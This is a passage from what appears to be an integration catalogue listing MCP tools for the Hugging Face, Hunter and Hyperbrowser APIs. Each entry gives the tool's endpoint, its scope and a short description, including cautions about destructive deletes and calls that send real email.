huggingface_post_api_spaces_by_namespace_by_repo_tag_by_rev (write) — Create tag via POST /api/spaces/{namespace}/{repo}/tag/{rev} POST /api/v1/huggingface/api/spaces/{namespace}/{repo}/tag/{rev}. Scopes: write-repos. huggingface_post_api_spaces_by_namespace_by_repo_variables (write) — Upsert variable -- Upsert Spaces's variable via POST /api/spaces/{namespace}/{repo}/variables POST /api/v1/huggingface/api/spaces/{namespace}/{repo}/variables. Scopes: write-repos. huggingface_post_by_namespace_by_repo_ask_access (write) — Request access -- Request access to a gated repository. The fields requested by repository card metadata (https://huggingface.co/docs/hub/en/models-gated#customize-requested-information) via POST /{namespace}/{repo}/ask-access POST /api/v1/huggingface/{namespace}/{repo}/ask-access. Scopes: write-repos. huggingface_post_datasets_by_namespace_by_repo_ask_access (write) — Request access -- Request access to a gated repository. The fields requested by repository card metadata (https://huggingface.co/docs/hub/en/models-gated#customize-requested-information) via POST /datasets/{namespace}/{repo}/ask-access POST /api/v1/huggingface/datasets/{namespace}/{repo}/ask-access. Scopes: write-repos. huggingface_post_oauth_device (write) — Initiate device authorization via POST /oauth/device POST /api/v1/huggingface/oauth/device. Scopes: profile. huggingface_post_oauth_register (write) — Register a new OAuth app via POST /oauth/register POST /api/v1/huggingface/oauth/register. Scopes: profile. huggingface_post_oauth_userinfo (write) — Get user info -- Get information about the user. Only available through oauth access tokens. Information varies depending on the scope of the oauth app and what permissions the user granted to the oauth app. via POST /oauth/userinfo POST /api/v1/huggingface/oauth/userinfo. Scopes: profile. huggingface_put_api_buckets_by_namespace_by_repo_settings (write) — Update bucket settings via PUT /api/buckets/{namespace}/{repo}/settings PUT /api/v1/huggingface/api/buckets/{namespace}/{repo}/settings. Scopes: write-repos. huggingface_put_api_datasets_by_namespace_by_repo_settings (write) — Update repo settings -- Update the settings of a repo via PUT /api/datasets/{namespace}/{repo}/settings PUT /api/v1/huggingface/api/datasets/{namespace}/{repo}/settings. Scopes: write-repos. huggingface_put_api_jobs_by_namespace_by_jobid_expose (write) — Update job exposed ports -- Replace the exposed ports of a running job, applied live (no re-run). Ports listed in `portsPublic` are reachable without any authentication. via PUT /api/jobs/{namespace}/{jobId}/expose PUT /api/v1/huggingface/api/jobs/{namespace}/{jobId}/expose. Scopes: jobs. huggingface_put_api_jobs_by_namespace_by_jobid_labels (write) — Update job labels -- Replace user-provided labels on a job via PUT /api/jobs/{namespace}/{jobId}/labels PUT /api/v1/huggingface/api/jobs/{namespace}/{jobId}/labels. Scopes: jobs. huggingface_put_api_models_by_namespace_by_repo_settings (write) — Update repo settings -- Update the settings of a repo via PUT /api/models/{namespace}/{repo}/settings PUT /api/v1/huggingface/api/models/{namespace}/{repo}/settings. Scopes: write-repos. huggingface_put_api_organizations_by_name_members_by_username_role (write) — Change member role -- Change the role of a member in the organization. Need a paid plan. via PUT /api/organizations/{name}/members/{username}/role PUT /api/v1/huggingface/api/organizations/{name}/members/{username}/role. Scopes: read-memberships. huggingface_put_api_organizations_by_name_scim_provisioning_v2_groups_by_groupid (write) — Update a SCIM group -- Updates a group by its ID. The group name must be unique within the organization. via PUT /api/organizations/{name}/scim-provisioning/v2/Groups/{groupId} PUT /api/v1/huggingface/api/organizations/{name}/scim-provisioning/v2/Groups/{groupId}. Scopes: read-memberships. huggingface_put_api_organizations_by_name_scim_provisioning_v2_users_by_userid (write) — Update a SCIM user -- Updates a provisioned user's invitation for non-managed organizations. User profile fields are not editable via SCIM for non-managed organizations. via PUT /api/organizations/{name}/scim-provisioning/v2/Users/{userId} PUT /api/v1/huggingface/api/organizations/{name}/scim-provisioning/v2/Users/{userId}. Scopes: read-memberships. huggingface_put_api_organizations_by_name_scim_v2_groups_by_groupid (write) — Update a SCIM group -- Updates a group by its ID. The group name must be unique within the organization. via PUT /api/organizations/{name}/scim/v2/Groups/{groupId} PUT /api/v1/huggingface/api/organizations/{name}/scim/v2/Groups/{groupId}. Scopes: read-memberships. huggingface_put_api_organizations_by_name_scim_v2_users_by_userid (write) — Update a SCIM user -- Updates a provisioned user, you'll need to provide all their information fresh - just like setting them up for the first time. Any details you don't include will be automatically removed, so make sure to include everything they need to keep their account running smoothly. Setting `active` to `false` will deprovision the user from the organization. via PUT /api/organizations/{name}/scim/v2/Users/{userId} PUT /api/v1/huggingface/api/organizations/{name}/scim/v2/Users/{userId}. Scopes: read-memberships. huggingface_put_api_organizations_by_name_settings_sso_credentials (write) — Rotate SSO credentials -- Update SSO credentials of the organization's SSO configuration. SSO stays enabled and does not need to be re-tested, so rotation causes no downtime. Requires a paid plan. via PUT /api/organizations/{name}/settings/sso/credentials PUT /api/v1/huggingface/api/organizations/{name}/settings/sso/credentials. Scopes: read-memberships. huggingface_put_api_scheduled_jobs_by_namespace_by_jobid_labels (write) — Update scheduled job labels -- Replace user-provided labels on a scheduled job via PUT /api/scheduled-jobs/{namespace}/{jobId}/labels PUT /api/v1/huggingface/api/scheduled-jobs/{namespace}/{jobId}/labels. Scopes: jobs. huggingface_put_api_spaces_by_namespace_by_repo_settings (write) — Update repo settings -- Update the settings of a repo via PUT /api/spaces/{namespace}/{repo}/settings PUT /api/v1/huggingface/api/spaces/{namespace}/{repo}/settings. Scopes: write-repos. huggingface_put_api_spaces_by_namespace_by_repo_volumes (write) — Set Space volumes via PUT /api/spaces/{namespace}/{repo}/volumes PUT /api/v1/huggingface/api/spaces/{namespace}/{repo}/volumes. Scopes: write-repos. ================================================================================ ## Hunter URL: https://www.agenticfabriq.com/integrations/hunter Section: Integrated Tools Hunter — 161 MCP tools Provider key: hunter. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. hunter_delete_campaigns_by_id_recipients (write, destructive) — Remove campaign recipients. DELETE /api/v1/hunter/campaigns/{id}/recipients. Scopes: api. hunter_delete_companies_by_id (write, destructive) — Delete a saved company. DELETE /api/v1/hunter/companies/{id}. Scopes: api. hunter_delete_companies_by_id_tags_by_tag_id (write, destructive) — Remove a tag from a saved company. DELETE /api/v1/hunter/companies/{id}/tags/{tag_id}. Scopes: api. hunter_delete_company_lists_by_id (write, destructive) — Delete a company list. DELETE /api/v1/hunter/company-lists/{id}. Scopes: api. hunter_delete_company_lists_by_id_companies_by_company_id (write, destructive) — Remove a company from a company list. DELETE /api/v1/hunter/company-lists/{id}/companies/{company_id}. Scopes: api. hunter_delete_company_lists_by_id_favorite (write, destructive) — Unfavorite a company list. DELETE /api/v1/hunter/company-lists/{id}/favorite. Scopes: api. hunter_delete_company_lists_folders_by_id (write, destructive) — Delete a company list folder. DELETE /api/v1/hunter/company-lists/folders/{id}. Scopes: api. hunter_delete_company_tags_by_id (write, destructive) — Delete a company tag. DELETE /api/v1/hunter/company-tags/{id}. Scopes: api. hunter_delete_discover_views_by_id (write, destructive) — Delete a saved discover view. DELETE /api/v1/hunter/discover/views/{id}. Scopes: api. hunter_delete_leads_by_id (write, destructive) — Delete a lead. DELETE /api/v1/hunter/leads/{id}. Scopes: api. hunter_delete_leads_by_id_tags_by_tag_id (write, destructive) — Remove a tag from a lead. DELETE /api/v1/hunter/leads/{id}/tags/{tag_id}. Scopes: api. hunter_delete_leads_custom_attributes_by_id (write, destructive) — Delete a lead custom attribute. DELETE /api/v1/hunter/leads_custom_attributes/{id}. Scopes: api. hunter_delete_leads_lists_by_id (write, destructive) — Delete a lead list. DELETE /api/v1/hunter/leads_lists/{id}. Scopes: api. hunter_delete_leads_lists_by_id_favorite (write, destructive) — Unfavorite a lead list. DELETE /api/v1/hunter/leads_lists/{id}/favorite. Scopes: api. hunter_delete_leads_lists_folders_by_id (write, destructive) — Delete a lead list folder. DELETE /api/v1/hunter/leads_lists/folders/{id}. Scopes: api. hunter_delete_message_templates_by_id (write, destructive) — Delete a message template. DELETE /api/v1/hunter/message-templates/{id}. Scopes: api. hunter_delete_sequences_by_id (write, destructive) — Delete a sequence. DELETE /api/v1/hunter/sequences/{id}. Scopes: api. hunter_delete_sequences_by_id_follow_ups_by_follow_up_id (write, destructive) — Delete a sequence follow-up step. DELETE /api/v1/hunter/sequences/{id}/follow-ups/{follow_up_id}. Scopes: api. hunter_delete_sequences_by_id_recipients (write, destructive) — Remove sequence recipients. DELETE /api/v1/hunter/sequences/{id}/recipients. Scopes: api. hunter_delete_sequences_by_sequence_id_pause (write, destructive) — Resume a paused sequence. DELETE /api/v1/hunter/sequences/{sequence_id}/pause. Scopes: api. hunter_delete_tags_by_id (write, destructive) — Delete a lead tag. DELETE /api/v1/hunter/tags/{id}. Scopes: api. hunter_delete_webhooks (write, destructive) — Delete webhooks by identifier (legacy). DELETE /api/v1/hunter/webhooks. Scopes: api. hunter_delete_webhooks_by_id (write, destructive) — Delete a webhook. DELETE /api/v1/hunter/webhooks/{id}. Scopes: api. hunter_get_account (read) — Get account details and usage. GET /api/v1/hunter/account. Scopes: api. hunter_get_account_stats (read) — Get account profile summary. GET /api/v1/hunter/account-stats. Scopes: api. hunter_get_campaigns (read) — List campaigns. GET /api/v1/hunter/campaigns. Scopes: api. hunter_get_campaigns_by_id_follow_ups_by_follow_up_id (read) — Get a campaign follow-up step. GET /api/v1/hunter/campaigns/{id}/follow-ups/{follow_up_id}. Scopes: api. hunter_get_campaigns_by_id_recipients (read) — List campaign recipients. GET /api/v1/hunter/campaigns/{id}/recipients. Scopes: api. hunter_get_combined_find (read) — Enrich a person and company. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. GET /api/v1/hunter/combined/find. Scopes: api. hunter_get_companies (read) — List saved companies. GET /api/v1/hunter/companies. Scopes: api. hunter_get_companies_by_id (read) — Get a saved company. GET /api/v1/hunter/companies/{id}. Scopes: api. hunter_get_companies_find (read) — Enrich a company. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. GET /api/v1/hunter/companies/find. Scopes: api. hunter_get_company_lists (read) — List company lists. GET /api/v1/hunter/company-lists. Scopes: api. hunter_get_company_lists_by_id (read) — Get a company list. GET /api/v1/hunter/company-lists/{id}. Scopes: api. hunter_get_company_lists_folders (read) — List company list folders. GET /api/v1/hunter/company-lists/folders. Scopes: api. hunter_get_company_lists_folders_by_id (read) — Get a company list folder. GET /api/v1/hunter/company-lists/folders/{id}. Scopes: api. hunter_get_company_tags (read) — List company tags. GET /api/v1/hunter/company-tags. Scopes: api. hunter_get_company_tags_by_id (read) — Get a company tag. GET /api/v1/hunter/company-tags/{id}. Scopes: api. hunter_get_connected_apps (read) — List connected apps. GET /api/v1/hunter/connected-apps. Scopes: api. hunter_get_connected_apps_by_id (read) — Get a connected app. GET /api/v1/hunter/connected-apps/{id}. Scopes: api. hunter_get_discover_people (read) — Discover people matching filters. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. GET /api/v1/hunter/discover/people. Scopes: api. hunter_get_discover_views (read) — List saved discover views. GET /api/v1/hunter/discover/views. Scopes: api. hunter_get_discover_views_by_id (read) — Get a saved discover view. GET /api/v1/hunter/discover/views/{id}. Scopes: api. hunter_get_domain_count (read) — Count domains matching discovery filters. Hunter serves this operation without a credential (the contract gives it an empty security requirement), so it answers even for an account whose key is wrong; never treat a success here as proof that the connection works. GET /api/v1/hunter/domain-count. Scopes: api. hunter_get_domain_finder (read) — Find the domain for a company. GET /api/v1/hunter/domain-finder. Scopes: api. hunter_get_domain_search (read) — Find email addresses by domain. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. GET /api/v1/hunter/domain-search. Scopes: api. hunter_get_domains_suggestion (read) — Suggest domains for a company name. GET /api/v1/hunter/domains-suggestion. Scopes: api. hunter_get_email_accounts (read) — List email accounts. GET /api/v1/hunter/email-accounts. Scopes: api. hunter_get_email_accounts_by_id (read) — The account's `signature` is returned HTML-sanitized (HUN-22571). GET /api/v1/hunter/email-accounts/{id}. Scopes: api. hunter_get_email_accounts_by_id_health_report (read) — Get an email account health report. GET /api/v1/hunter/email-accounts/{id}/health-report. Scopes: api. hunter_get_email_accounts_by_id_sequences (read) — List sequences using an email account. GET /api/v1/hunter/email-accounts/{id}/sequences. Scopes: api. hunter_get_email_accounts_by_id_usage (read) — Get an email account usage report. GET /api/v1/hunter/email-accounts/{id}/usage. Scopes: api. hunter_get_email_accounts_by_id_warmup_report (read) — Get an email account warmup report. GET /api/v1/hunter/email-accounts/{id}/warmup-report. Scopes: api. hunter_get_email_accounts_capacities (read) — Get email account sending capacities. GET /api/v1/hunter/email-accounts/capacities. Scopes: api. hunter_get_email_count (read) — Return aggregate counts without revealing individual email addresses. This operation is free. GET /api/v1/hunter/email-count. Scopes: api. hunter_get_email_finder (read) — Supply a LinkedIn handle, or supply a domain/company plus either a full name or first and last name. A found email address is also saved automatically to your leads. This is enabled by default and can be disabled for your account. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. GET /api/v1/hunter/email-finder. Scopes: api. hunter_get_email_finder_found (read) — Found-only variant of email finder. Supply a LinkedIn handle, or supply a domain/company plus either a full name or first and last name. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. GET /api/v1/hunter/email-finder/found. Scopes: api. hunter_get_email_insight (read) — Get deliverability insight for an email address. Hunter serves this operation without a credential (the contract gives it an empty security requirement), so it answers even for an account whose key is wrong; never treat a success here as proof that the connection works. GET /api/v1/hunter/email-insight. Scopes: api. hunter_get_email_verifier (read) — Check the deliverability of an email address. A verified email address is also saved automatically to your leads. This is enabled by default and can be disabled for your account. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. GET /api/v1/hunter/email-verifier. Scopes: api. hunter_get_leads (read) — Each lead carries `department` since HUN-23171. It was already a filter on this endpoint, but was never emitted, so a caller could filter on a field it could not read back. GET /api/v1/hunter/leads. Scopes: api. hunter_get_leads_bulk_exist (read) — Check whether leads exist in bulk. GET /api/v1/hunter/leads/bulk/exist. Scopes: api. hunter_get_leads_by_id (read) — Returns `department` since HUN-23171. It was filterable on the collection endpoint and settable by enrichment before that, but never emitted, so a caller could filter on a field it could not read back. GET /api/v1/hunter/leads/{id}. Scopes: api. hunter_get_leads_custom_attributes (read) — List lead custom attributes. GET /api/v1/hunter/leads_custom_attributes. Scopes: api. hunter_get_leads_custom_attributes_by_id (read) — Get a lead custom attribute. GET /api/v1/hunter/leads_custom_attributes/{id}. Scopes: api. hunter_get_leads_exist (read) — Check whether a lead exists. GET /api/v1/hunter/leads/exist. Scopes: api. hunter_get_leads_lists (read) — List lead lists. GET /api/v1/hunter/leads_lists. Scopes: api. hunter_get_leads_lists_by_id (read) — Get a lead list. GET /api/v1/hunter/leads_lists/{id}. Scopes: api. hunter_get_leads_lists_folders (read) — List lead list folders. GET /api/v1/hunter/leads_lists/folders. Scopes: api. hunter_get_leads_lists_folders_by_id (read) — Get a lead list folder. GET /api/v1/hunter/leads_lists/folders/{id}. Scopes: api. hunter_get_lookalikes (read) — Finds companies that look like the ones in one of your company lists. The companies in the list are used as a seed, and we return the most similar companies ranked by a similarity score. This endpoint is not paginated: it returns a single ranked page of the top limit results, so the offset parameter is not supported and returns 400 if supplied. This call is free. GET /api/v1/hunter/lookalikes. Scopes: api. hunter_get_message_templates (read) — List message templates. GET /api/v1/hunter/message-templates. Scopes: api. hunter_get_message_templates_by_id (read) — Get a message template. GET /api/v1/hunter/message-templates/{id}. Scopes: api. hunter_get_messages (read) — List messages. GET /api/v1/hunter/messages. Scopes: api. hunter_get_people_find (read) — Enrich a person. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. GET /api/v1/hunter/people/find. Scopes: api. hunter_get_sequences (read) — List sequences. GET /api/v1/hunter/sequences. Scopes: api. hunter_get_sequences_by_id (read) — Get a sequence. GET /api/v1/hunter/sequences/{id}. Scopes: api. hunter_get_sequences_by_id_follow_ups (read) — List sequence follow-up steps. GET /api/v1/hunter/sequences/{id}/follow-ups. Scopes: api. hunter_get_sequences_by_id_follow_ups_by_follow_up_id (read) — Get a sequence follow-up step. GET /api/v1/hunter/sequences/{id}/follow-ups/{follow_up_id}. Scopes: api. hunter_get_sequences_by_id_recipients (read) — List sequence recipients. GET /api/v1/hunter/sequences/{id}/recipients. Scopes: api. hunter_get_sequences_by_id_stats (read) — Get sequence performance stats. GET /api/v1/hunter/sequences/{id}/stats. Scopes: api. hunter_get_tags (read) — List lead tags. GET /api/v1/hunter/tags. Scopes: api. hunter_get_tags_by_id (read) — Get a lead tag. GET /api/v1/hunter/tags/{id}. Scopes: api. hunter_get_team_members (read) — List team members. GET /api/v1/hunter/team/members. Scopes: api. hunter_get_usage (read) — Get credit usage summary. GET /api/v1/hunter/usage. Scopes: api. hunter_get_usage_history (read) — Get credit usage history. GET /api/v1/hunter/usage/history. Scopes: api. hunter_get_webhooks (read) — List webhooks. GET /api/v1/hunter/webhooks. Scopes: api. hunter_get_webhooks_by_id (read) — Get a webhook. GET /api/v1/hunter/webhooks/{id}. Scopes: api. hunter_patch_company_lists_by_id (write) — Update a company list. PATCH /api/v1/hunter/company-lists/{id}. Scopes: api. hunter_patch_company_lists_folders_by_id (write) — Update a company list folder. PATCH /api/v1/hunter/company-lists/folders/{id}. Scopes: api. hunter_patch_company_tags_by_id (write) — Update a company tag. PATCH /api/v1/hunter/company-tags/{id}. Scopes: api. hunter_patch_email_accounts_by_id (write) — Update an email account. PATCH /api/v1/hunter/email-accounts/{id}. Scopes: api. hunter_patch_leads_by_id (write) — Accepts `department` since HUN-23171. The value is normalized to its canonical key, so a localized display label ("Sales") is stored as `sales`. Lead attributes are not modelled field-by-field in this contract yet — the response uses the generic resource envelope — so this note is where the accepted set is recorded. PATCH /api/v1/hunter/leads/{id}. Scopes: api. hunter_patch_leads_custom_attributes_by_id (write) — Update a lead custom attribute. PATCH /api/v1/hunter/leads_custom_attributes/{id}. Scopes: api. hunter_patch_leads_lists_by_id (write) — Update a lead list. PATCH /api/v1/hunter/leads_lists/{id}. Scopes: api. hunter_patch_leads_lists_folders_by_id (write) — Update a lead list folder. PATCH /api/v1/hunter/leads_lists/folders/{id}. Scopes: api. hunter_patch_message_templates_by_id (write) — Update a message template. PATCH /api/v1/hunter/message-templates/{id}. Scopes: api. hunter_patch_sequences_by_id (write) — Update a sequence. PATCH /api/v1/hunter/sequences/{id}. Scopes: api. hunter_patch_sequences_by_id_follow_ups_by_follow_up_id (write) — Update a sequence follow-up step. PATCH /api/v1/hunter/sequences/{id}/follow-ups/{follow_up_id}. Scopes: api. hunter_patch_tags_by_id (write) — Update a lead tag. PATCH /api/v1/hunter/tags/{id}. Scopes: api. hunter_patch_webhooks_by_id (write) — Update a webhook. PATCH /api/v1/hunter/webhooks/{id}. Scopes: api. hunter_post_campaigns_by_id_follow_ups (write) — Add a campaign follow-up step. POST /api/v1/hunter/campaigns/{id}/follow-ups. Scopes: api. hunter_post_campaigns_by_id_recipients (write) — Add campaign recipients. POST /api/v1/hunter/campaigns/{id}/recipients. Scopes: api. hunter_post_campaigns_by_id_start (write) — Start a campaign. SENDS REAL EMAIL from a connected email account to the addresses named. There is no draft or preview step. POST /api/v1/hunter/campaigns/{id}/start. Scopes: api. hunter_post_companies (write) — Save a company. POST /api/v1/hunter/companies. Scopes: api. hunter_post_companies_bulk_copy (write) — Copy companies to another list in bulk. POST /api/v1/hunter/companies/bulk/copy. Scopes: api. hunter_post_companies_bulk_delete (write) — Delete companies in bulk. POST /api/v1/hunter/companies/bulk/delete. Scopes: api. hunter_post_companies_bulk_move (write) — Move companies to another list in bulk. POST /api/v1/hunter/companies/bulk/move. Scopes: api. hunter_post_companies_bulk_tag (write) — Tag companies in bulk. POST /api/v1/hunter/companies/bulk/tag. Scopes: api. hunter_post_companies_by_id_tags (write) — Tag a saved company. POST /api/v1/hunter/companies/{id}/tags. Scopes: api. hunter_post_company_lists (write) — Create a company list. POST /api/v1/hunter/company-lists. Scopes: api. hunter_post_company_lists_by_id_companies (write) — Add a company to a company list. POST /api/v1/hunter/company-lists/{id}/companies. Scopes: api. hunter_post_company_lists_by_id_favorite (write) — Favorite a company list. POST /api/v1/hunter/company-lists/{id}/favorite. Scopes: api. hunter_post_company_lists_folders (write) — Create a company list folder. POST /api/v1/hunter/company-lists/folders. Scopes: api. hunter_post_company_tags (write) — Create a company tag. POST /api/v1/hunter/company-tags. Scopes: api. hunter_post_connected_apps_by_id_push (write) — Push data to a connected app. POST /api/v1/hunter/connected-apps/{id}/push. Scopes: api. hunter_post_discover (write) — Find companies matching a structured filter set. This operation is free. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. POST /api/v1/hunter/discover. Scopes: api. hunter_post_discover_people (write) — Discover people using request-body filters. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. POST /api/v1/hunter/discover/people. Scopes: api. hunter_post_discover_views (write) — Create a saved discover view. POST /api/v1/hunter/discover/views. Scopes: api. hunter_post_domain_finder (write) — Find the domain for a company via POST. POST /api/v1/hunter/domain-finder. Scopes: api. hunter_post_domain_search (write) — Use POST for nested location filters. The body can be JSON or URL-encoded form data. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. POST /api/v1/hunter/domain-search. Scopes: api. hunter_post_email_finder_found (write) — Found-only variant of email finder using request-body parameters. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. POST /api/v1/hunter/email-finder/found. Scopes: api. hunter_post_feedback (write) — Submit product feedback. POST /api/v1/hunter/feedback. Scopes: api. hunter_post_leads (write) — Creates a lead, or adds an existing lead to the requested lists. When an `email` matches a lead already on your team, the request is additive: it adds only the missing list memberships and returns 201 rather than an email duplicate error. When the matched lead belongs to a teammate, the request still adds it to your lists, and the teammate's lead itself is only updated if you have permission to edit it. A request without an `email` is never matched by email — it does not reuse an existing email-less lead — though a lead with an identical name, company, and list is still rejected as a duplicate. Accepts `department` since HUN-23171, normalized to its canonical key so a localized display label ("Sales") is stored as `sales`. Lead attributes are not modelled field-by-field in this contract yet — the response uses the generic resource envelope — so this note is where the accepted set is recorded. When another request is creating leads for the team, returns 409 with `lead_creation_in_progress` and `Retry-After: 1`. Retry the request after one second. POST /api/v1/hunter/leads. Scopes: api. hunter_post_leads_bulk_delete (write) — Delete leads in bulk. POST /api/v1/hunter/leads/bulk/delete. Scopes: api. hunter_post_leads_bulk_move (write) — Move leads to another list in bulk. POST /api/v1/hunter/leads/bulk/move. Scopes: api. hunter_post_leads_by_id_enrich (write) — Enrich a lead. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. POST /api/v1/hunter/leads/{id}/enrich. Scopes: api. hunter_post_leads_by_id_tags (write) — Tag a lead. POST /api/v1/hunter/leads/{id}/tags. Scopes: api. hunter_post_leads_custom_attributes (write) — Create a lead custom attribute. POST /api/v1/hunter/leads_custom_attributes. Scopes: api. hunter_post_leads_imports (write) — Creates a draft leads import and returns its id, the guessed column matching, and a configuration_url. This call does not import anything: a person must open that URL in a browser and complete the mapping step before any lead is created. It is intended for clients that can hand off to a browser session, not for unattended automation. csv_data must be sent in the request body; it is rejected in the query string, where it would reach access logs verbatim. POST /api/v1/hunter/leads-imports. Scopes: api. hunter_post_leads_lists (write) — Create a lead list. POST /api/v1/hunter/leads_lists. Scopes: api. hunter_post_leads_lists_by_id_favorite (write) — Favorite a lead list. POST /api/v1/hunter/leads_lists/{id}/favorite. Scopes: api. hunter_post_leads_lists_by_id_merge (write) — Merge lead lists. POST /api/v1/hunter/leads_lists/{id}/merge. Scopes: api. hunter_post_leads_lists_folders (write) — Create a lead list folder. POST /api/v1/hunter/leads_lists/folders. Scopes: api. hunter_post_message_templates (write) — Create a message template. POST /api/v1/hunter/message-templates. Scopes: api. hunter_post_messages (write) — Send a one-off message. SENDS REAL EMAIL from a connected email account to the addresses named. There is no draft or preview step. POST /api/v1/hunter/messages. Scopes: api. hunter_post_multi_domain_search (write) — Search professional email addresses across many companies at once using a structured filter set. Returns masked rows — no email address or phone number; use the reveal endpoint to unmask. This masked survey operation is free. At least one filter is required. Filters may be sent in the request body (JSON or form-encoded) or as query-string parameters; the body is therefore optional. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. POST /api/v1/hunter/multi-domain-search. Scopes: api. hunter_post_multi_domain_search_reveal (write) — Reveal emails from a multi-domain search. Spends the account's monthly search or credit allowance; a Free plan has 50 searches, 50 credits and 100 verifications a month. POST /api/v1/hunter/multi-domain-search/reveal. Scopes: api. hunter_post_sequences (write) — Create a sequence. POST /api/v1/hunter/sequences. Scopes: api. hunter_post_sequences_by_id_follow_ups (write) — Add a sequence follow-up step. POST /api/v1/hunter/sequences/{id}/follow-ups. Scopes: api. hunter_post_sequences_by_id_recipients (write) — Add sequence recipients. POST /api/v1/hunter/sequences/{id}/recipients. Scopes: api. hunter_post_sequences_by_id_start (write) — Start a sequence. SENDS REAL EMAIL from a connected email account to the addresses named. There is no draft or preview step. POST /api/v1/hunter/sequences/{id}/start. Scopes: api. hunter_post_sequences_by_sequence_id_archive (write) — Archive a sequence. POST /api/v1/hunter/sequences/{sequence_id}/archive. Scopes: api. hunter_post_sequences_by_sequence_id_pause (write) — Pause a sequence. POST /api/v1/hunter/sequences/{sequence_id}/pause. Scopes: api. hunter_post_tags (write) — Create a lead tag. POST /api/v1/hunter/tags. Scopes: api. hunter_post_webhooks (write) — Create a webhook. POST /api/v1/hunter/webhooks. Scopes: api. hunter_put_account (write) — Update account details. Changes settings for the whole Hunter account, not one record. PUT /api/v1/hunter/account. Scopes: api. hunter_put_company_lists_by_id (write) — Replace a company list. PUT /api/v1/hunter/company-lists/{id}. Scopes: api. hunter_put_company_lists_folders_by_id (write) — Replace a company list folder. PUT /api/v1/hunter/company-lists/folders/{id}. Scopes: api. hunter_put_company_tags_by_id (write) — Replace a company tag. PUT /api/v1/hunter/company-tags/{id}. Scopes: api. hunter_put_email_accounts_by_id (write) — Replace an email account. PUT /api/v1/hunter/email-accounts/{id}. Scopes: api. hunter_put_leads (write) — Accepts `department`, normalized to its canonical key so a localized display label ("Sales") is stored as `sales`. This operation keeps its own allowlist, separate from the one `createLead` uses, so the two can differ — it does not currently accept `company_type`, `lead_country_code`, `lead_city` or `lead_state`. When creating a new lead while another request is creating leads for the team, returns 409 with `lead_creation_in_progress` and `Retry-After: 1`. Retry the request after one second. Existing leads can still be updated. PUT /api/v1/hunter/leads. Scopes: api. hunter_put_leads_bulk (write) — Create or update up to 100 leads in one call. Each lead is matched on `email` and written in its own transaction, so one invalid lead does not cancel the others. The team's lead limit is checked for each new lead using the current committed lead count. If an item would exceed that limit, earlier successful items remain saved and that item returns a `leads_limit_reached` error. If another request is creating leads for the team, the new lead's item returns `status: failed` with error `lead_creation_in_progress` and code 409. Retry only those failed items after one second; other items still run normally. The response is always 200: read `status` and `errors` of each result to know what happened to each lead. The call is free and consumes no request. PUT /api/v1/hunter/leads/bulk. Scopes: api. hunter_put_leads_by_id (write) — Accepts `department` since HUN-23171. The value is normalized to its canonical key, so a localized display label ("Sales") is stored as `sales`. Lead attributes are not modelled field-by-field in this contract yet — the response uses the generic resource envelope — so this note is where the accepted set is recorded. PUT /api/v1/hunter/leads/{id}. Scopes: api. hunter_put_leads_custom_attributes_by_id (write) — Replace a lead custom attribute. PUT /api/v1/hunter/leads_custom_attributes/{id}. Scopes: api. hunter_put_leads_lists_by_id (write) — Replace a lead list. PUT /api/v1/hunter/leads_lists/{id}. Scopes: api. hunter_put_leads_lists_folders_by_id (write) — Replace a lead list folder. PUT /api/v1/hunter/leads_lists/folders/{id}. Scopes: api. hunter_put_message_templates_by_id (write) — Replace a message template. PUT /api/v1/hunter/message-templates/{id}. Scopes: api. hunter_put_sequences_by_id (write) — Replace a sequence. PUT /api/v1/hunter/sequences/{id}. Scopes: api. hunter_put_sequences_by_id_follow_ups_by_follow_up_id (write) — Replace a sequence follow-up step. PUT /api/v1/hunter/sequences/{id}/follow-ups/{follow_up_id}. Scopes: api. hunter_put_tags_by_id (write) — Replace a lead tag. PUT /api/v1/hunter/tags/{id}. Scopes: api. hunter_put_webhooks_by_id (write) — Replace a webhook. PUT /api/v1/hunter/webhooks/{id}. Scopes: api. ================================================================================ ## Hyperbrowser URL: https://www.agenticfabriq.com/integrations/hyperbrowser Section: Integrated Tools Hyperbrowser — 81 MCP tools Provider key: hyperbrowser. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. hyperbrowser_delete_api_images_by_key (write, destructive) — Delete sandbox image. DELETE https://api.hyperbrowser.ai/api/images/{key}. DELETE /api/v1/hyperbrowser/api/images/{key}. Scopes: api. hyperbrowser_delete_api_profile_by_id (write, destructive) — Delete profile by ID. DELETE https://api.hyperbrowser.ai/api/profile/{id}. DELETE /api/v1/hyperbrowser/api/profile/{id}. Scopes: api. hyperbrowser_delete_api_snapshots_by_key (write, destructive) — Delete sandbox snapshot. 